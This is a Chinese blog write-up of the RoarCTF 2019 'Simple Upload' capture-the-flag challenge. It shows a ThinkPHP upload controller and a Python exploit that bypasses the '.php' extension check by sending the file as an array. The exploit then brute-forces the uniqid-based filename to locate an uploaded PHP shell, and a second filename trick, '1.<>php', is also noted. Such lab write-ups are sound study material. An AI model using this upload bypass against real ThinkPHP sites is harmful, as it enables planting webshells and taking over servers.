web | [RoarCTF 2019]Simple Upload
这是一个文件上传的题目。
源代码如下:
1 <?php 2 namespace Home\Controller; 3 4 use Think\Controller; 5 6 class IndexController extends Controller 7 { 8 public function index() 9 { 10 show_source(__FILE__); 11 } 12 public function upload() 13 { 14 $uploadFile = $_FILES['file'] ; 15 16 if (strstr(strtolower($uploadFile['name']), ".php") ) { 17 return false; 18 } 19 20 $upload = new \Think\Upload();// 实例化上传类 21 $upload->maxSize = 4096 ;// 设置附件上传大小 22 $upload->allowExts = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型 23 $upload->rootPath = './Public/Uploads/';// 设置附件上传目录 24 $upload->savePath = '';// 设置附件上传子目录 25 $info = $upload->upload() ; 26 if(!$info) {// 上传错误提示错误信息 27 $this->error($upload->getError()); 28 return; 29 }else{// 上传成功 获取上传文件信息 30 $url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ; 31 echo json_encode(array("url"=>$url,"success"=>1)); 32 } 33 } 34 }
应该是thinkphp的文件上传漏洞。
https://www.cnblogs.com/20175211lyz/p/11729027.html
上述文章提到了,thinkphp的文件上传类并没有控制后缀名的东西,因此可以忽略对后缀名的控制。
所以真正要绕过的地方就是上面代码中对php后缀名的检测
因为thinkphp支持多文件上传,只要用数组就可以绕过strstr的检测。
但是却返回不了上传文件的名称。
因此只要在周边上传两个文件就可以缩小时间范围来找这个文件。
顺带一提thinkphp的文件上传路径:index.php/home/index/upload
上传exp:
import requests proxy = { 'http':'127.0.0.1:8080', 'https':'127.0.0.1:8080' } url = "http://06fba31b-2461-4ac4-96cf-b33603172606.node3.buuoj.cn/index.php/home/index/upload" file1 = {'file': open("1.txt", 'rb')} file2 = {'file[]': open("1.php", 'rb')} r = requests.post(url, files = file1, proxies = proxy) print(r.text) r = requests.post(url, files = file2, proxies = proxy) print(r.text) r = requests.post(url, files = file1, proxies = proxy) print(r.text)
结果:
{"url":"\/Public\/Uploads\/2020-12-23\/5fe2faa14f69c.txt","success":1} {"url":"\/Public\/Uploads\/","success":1} {"url":"\/Public\/Uploads\/2020-12-23\/5fe2faa18ff07.txt","success":1}
范围就是两个中间了
完整exp如下:
1 import requests 2 import json 3 import time 4 5 proxy = { 6 'http':'127.0.0.1:8080', 7 'https':'127.0.0.1:8080' 8 } 9 url = "http://06fba31b-2461-4ac4-96cf-b33603172606.node3.buuoj.cn/index.php/home/index/upload" 10 url2 = "http://06fba31b-2461-4ac4-96cf-b33603172606.node3.buuoj.cn/Public/Uploads/2020-12-23/{}.php" 11 12 file1 = {'file': open("1.txt", 'rb')} 13 file2 = {'file[]': open("1.php", 'rb')} 14 15 # 上传 16 r = requests.post(url, files = file1, proxies = proxy) 17 print(r.text) 18 t1 = int(json.loads(r.text)['url'][-17:-4], 16) 19 r = requests.post(url, files = file2, proxies = proxy) 20 print(r.text) 21 r = requests.post(url, files = file1, proxies = proxy) 22 print(r.text) 23 t2 = int(json.loads(r.text)['url'][-17:-4], 16) 24 print(t1) 25 print(t2) 26 27 # 爆破木马文件名 28 for i in range(t1+1, t2): 29 h = str(hex(i))[2:] 30 u = url2.format(h) 31 print(u) 32 r = requests.get(u, proxies = proxy) 33 if r.status_code == 200: 34 print(u) 35 elif r.status_code == 429: 36 time.sleep(0.1) 37 38
第二种方法是上传文件名为 1.<>php
貌似是同样解析为1.php
但是上传成功直接给了flag
有点恐怖,应该是文件内容被改了。
本文来自博客园,作者:Mz1,转载请注明原文链接:https://www.cnblogs.com/Mz1-rc/p/14179356.html
如果有问题可以在下方评论或者email:mzi_mzi@163.com